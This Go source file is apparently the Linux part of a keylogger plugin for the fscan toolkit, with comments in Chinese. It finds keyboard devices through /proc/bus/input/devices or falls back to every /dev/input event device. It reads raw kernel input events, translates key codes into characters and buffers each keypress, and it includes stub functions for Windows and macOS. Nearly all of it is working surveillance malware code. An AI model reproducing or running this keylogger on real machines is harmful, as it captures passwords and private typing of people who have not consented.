// +build linux package keylogger import ( "bufio" "context" "encoding/binary" "fmt" "io/fs" "os" "path/filepath" "strings" "github.com/shadow1ng/fscan/common" ) // Linux输入事件结构 type InputEvent struct { Time [2]int64 // struct timeval Type uint16 Code uint16 Value int32 } const ( EV_KEY = 1 KEY_PRESS = 1 KEY_RELEASE = 0 ) // checkLinuxRequirements 检查Linux特定要求 func (p *KeyloggerPlugin) checkLinuxRequirements() error { common.LogInfo("检查Linux键盘记录权限...") // 检查/dev/input目录访问权限 if _, err := os.Stat("/dev/input"); os.IsNotExist(err) { return fmt.Errorf("/dev/input目录不存在,可能不是标准Linux系统") } // 检查是否有输入设备 inputDevices, err := p.findKeyboardDevices() if err != nil { return fmt.Errorf("查找键盘设备失败: %v", err) } if len(inputDevices) == 0 { common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备") } else { common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices))) } return nil } // startLinuxKeylogging 启动Linux键盘记录 func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { common.LogInfo("启动Linux键盘记录...") // 查找键盘设备 devices, err := p.findKeyboardDevices() if err != nil { return fmt.Errorf("查找键盘设备失败: %v", err) } if len(devices) == 0 { // 如果找不到明确的键盘设备,尝试监听所有事件设备 devices, err = p.findAllInputDevices() if err != nil { return fmt.Errorf("查找输入设备失败: %v", err) } } if len(devices) == 0 { return fmt.Errorf("未找到任何输入设备") } common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices))) // 启动设备监听goroutine for _, device := range devices { go p.monitorDevice(ctx, device) } // 等待上下文取消 <-ctx.Done() return nil } // findKeyboardDevices 查找键盘设备 func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) { var keyboards []string // 检查/proc/bus/input/devices文件 devicesFile := "/proc/bus/input/devices" file, err := os.Open(devicesFile) if err != nil { common.LogInfo("无法打开/proc/bus/input/devices,尝试扫描/dev/input") return p.findAllInputDevices() } defer file.Close() scanner := bufio.NewScanner(file) var currentDevice string var isKeyboard bool for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if strings.HasPrefix(line, "I:") { // 新设备开始 isKeyboard = false currentDevice = "" } else if strings.HasPrefix(line, "N:") { // 设备名称 if strings.Contains(strings.ToLower(line), "keyboard") || strings.Contains(strings.ToLower(line), "kbd") { isKeyboard = true } } else if strings.HasPrefix(line, "H:") && isKeyboard { // 设备处理器 parts := strings.Fields(line) for _, part := range parts { if strings.HasPrefix(part, "event") { eventNum := strings.TrimPrefix(part, "event") devicePath := fmt.Sprintf("/dev/input/event%s", eventNum) keyboards = append(keyboards, devicePath) break } } } } return keyboards, nil } // findAllInputDevices 查找所有输入设备 func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) { var devices []string err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error { if err != nil { return nil // 跳过错误 } if strings.HasPrefix(d.Name(), "event") { devices = append(devices, path) } return nil }) if err != nil { return nil, err } return devices, nil } // monitorDevice 监听设备 func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) { common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath)) file, err := os.Open(devicePath) if err != nil { common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err)) return } defer file.Close() for { select { case <-ctx.Done(): return default: var event InputEvent err := binary.Read(file, binary.LittleEndian, &event) if err != nil { common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err)) return } // 处理键盘事件 if event.Type == EV_KEY && event.Value == KEY_PRESS { keyChar := p.getLinuxKeyChar(event.Code) if keyChar != "" { p.addKeyToBuffer(keyChar) } } } } } // getLinuxKeyChar 获取Linux按键字符 func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string { // Linux内核输入子系统键码映射 keyMap := map[uint16]string{ 1: "[Esc]", 2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0", 12: "-", 13: "=", 14: "[Backspace]", 15: "[Tab]", 16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p", 26: "[", 27: "]", 28: "[Enter]", 29: "[LCtrl]", 30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l", 39: ";", 40: "'", 41: "`", 42: "[LShift]", 43: "\\", 44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m", 51: ",", 52: ".", 53: "/", 54: "[RShift]", 55: "*", 56: "[LAlt]", 57: " ", // 空格 58: "[CapsLock]", 59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]", 65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]", 69: "[NumLock]", 70: "[ScrollLock]", 71: "[Home]", 72: "[Up]", 73: "[PgUp]", 74: "-", 75: "[Left]", 76: "[Center]", 77: "[Right]", 78: "+", 79: "[End]", 80: "[Down]", 81: "[PgDn]", 82: "[Insert]", 83: "[Delete]", 87: "[F11]", 88: "[F12]", 96: "[REnter]", 97: "[RCtrl]", 98: "/", 99: "[PrtSc]", 100: "[RAlt]", 102: "[Home]", 103: "[Up]", 104: "[PgUp]", 105: "[Left]", 106: "[Right]", 107: "[End]", 108: "[Down]", 109: "[PgDn]", 110: "[Insert]", 111: "[Delete]", 125: "[LWin]", 126: "[RWin]", 127: "[Menu]", } if keyName, exists := keyMap[keyCode]; exists { return keyName } return fmt.Sprintf("[KEY_%d]", keyCode) } // checkWindowsRequirements 检查Windows特定要求(Linux平台的空实现) func (p *KeyloggerPlugin) checkWindowsRequirements() error { return fmt.Errorf("不支持的平台") } // checkDarwinRequirements 检查Darwin特定要求(Linux平台的空实现) func (p *KeyloggerPlugin) checkDarwinRequirements() error { return fmt.Errorf("不支持的平台") } // startWindowsKeylogging 启动Windows键盘记录(Linux平台的空实现) func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { return fmt.Errorf("不支持的平台") } // startDarwinKeylogging 启动Darwin键盘记录(Linux平台的空实现) func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { return fmt.Errorf("不支持的平台") }